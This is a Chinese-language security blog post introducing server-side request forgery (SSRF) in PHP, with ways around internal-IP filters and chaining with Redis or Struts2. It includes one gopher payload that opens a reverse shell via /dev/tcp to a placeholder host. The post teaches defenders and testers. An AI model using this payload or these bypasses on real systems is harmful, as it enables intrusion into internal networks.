从入门到精通: SSRF(1)

0x00

很早就看到别人对这个漏洞的研究,但是完全没有预想到它能有这么大的能量。最初觉得如果对请求资源的域如果限制不严格,确实可能导致内网信息被探测,最初对危害认识仅限于信息泄露而已。

后来发现边界穿越导致内网信息泄露完全不是重点,最近的Redis未授权、Struts2命令执行等等存放在安全位置而忽略了安全配置的脆弱机器则让这个漏洞的能量大大升级。

SSRF漏洞的存在加上一些协议巧妙使用让这些本该受到重重保护的脆弱设备直接暴露出来(某牛说ssrf+gopher=socks代理)。

0x01

先简单看一下这个漏洞原理吧,在PHP上写了一个存在SSRF漏洞的简单环境。假想这是一个可以直接填入图片的url地址然后将其设定它为自己的头像的页面。

1

读取远程图片

2

使用其他协议

对比上面两张图,这个填入图片的地址设定它为自己的头像功能还是挺常见的,通过地址获取到图片无疑就需要一个用户介入的他域资源获取的功能。在这里如果对用户输入的url地址没有经过限制而直接放入函数执行,就产生了一个SSRF漏洞。第二张图就是本机etc/passed文件被这个功能直接读取出来。

再开启其他脑洞,进行内网端口探测以后,假设内网存在 struts2命令执行 这种可以把exp通过get参数简单传入的漏洞 。就可以利用从这个SSRF漏洞存在点传入攻击代码反弹一个shell。。。那么这把钥匙则可以直接打开内网的大门。

3

上面几行就是刚刚的图片功能的SSRF简单测试代码。

问题出在直接把用户传入的地址用file_get_content 函数读取图片内容后保存,现在有些简单SSRF修补方法是对url 先做判断是否包含内网域如127段或者10段的 ip,不过这些还是可以通过对 ip 进制转换还有域名指向内网ip解析来绕过,扯远了回到正题。

从代码层来看,php 中除了 file_get_content() 还有 fsockopen()、curl_exec() 等资源获取的函数都可能存在这个漏洞。

在黑盒角度,用户控制点作为资源地址传到函数中进行资源请求,在请求包中比较明显。

有些vpn产品把这个当成一个正常的功能来使工作人员在外界可以访问到内网的系统。

4

做映射的vpn设备

5

ssrf请求其他资源

0x02

猪猪侠在峰会关于 ssrf 分享 ppt 上说,能够对外发送网络请求的点都有可能存在ssrf漏洞。

因此针对应用二次挖掘的时候,在discuz、weblogic控制台的低权限可访问页面,sql连接器、xml执行器等等位置都可能存在这个漏洞。

存在漏洞点对协议的支持也和是否能利用有很大关系,比如http协议的get/put ; webdav put; file协议; ftp/smtp/pop2; dict 还有一些伪协议如php://等等。

同样,是否能够回显同样也是利用的重要因素,比如上面代码可以直接获取结果的完全回显,或者是只会返回成功失败的布尔回显以及甚至无回显。

前段时间看到百度对自家ssrf的漏洞危险等级就是用回显程度来定义的,毕竟回显程度高攻击代价就相对低。

至于协议支持方面,举个例子,如果漏洞存在点支持gopher协议,则可以直接用来进行文件操作getshell(方法可以参考gopher协议在xxe中的使用)。

gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/xxx.xxx.xxx.xxx/2333 0>%25261null

所以简单来说,这个漏洞本身在很多地方都不被定义为漏洞。这个漏洞相当于一个起手式,比如一个布尔回显不支持gopher等协议的ssrf点,如果没有后招,则只能做一个内网拓扑,杀伤力很小。如果配合打出组合技则能打出意想不到的巨大杀伤,比如内网恰巧有一台未授权的redis。

0x03

后期有机会的话我觉得可以分享一下漏洞利用比较经典的例子,更多的巧妙使用协议、巧妙组合其他利用,抛砖引玉,有兴趣的少年可以进一步找出更多有趣的利用,脑洞有多大,漏洞能量就有多大。最近的cve vBulletin rec中ssrf的利用我就觉得非常的巧妙和经典。

这个漏洞我觉得是近期最有意思的漏洞了,在各个ctf也比较火,火日师傅在alictf出的那道求职1入口就是一个SSRF~~

参考链接

SSRF攻击测试

SSRF Tips

 

*来源:ksss  Mottoin小编整理发布

原创文章,作者:ksss,如若转载,请注明出处:http://www.mottoin.com/article/web/86312.html

发表评论

登录后才能评论

评论列表(1条)

  • chenzhi0224 2017年1月26日 下午11:12

    洞主,求分享PHP上写的存在SSRF漏洞环境的代码,谢谢哇,我qq邮箱1141491639@qq.com

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code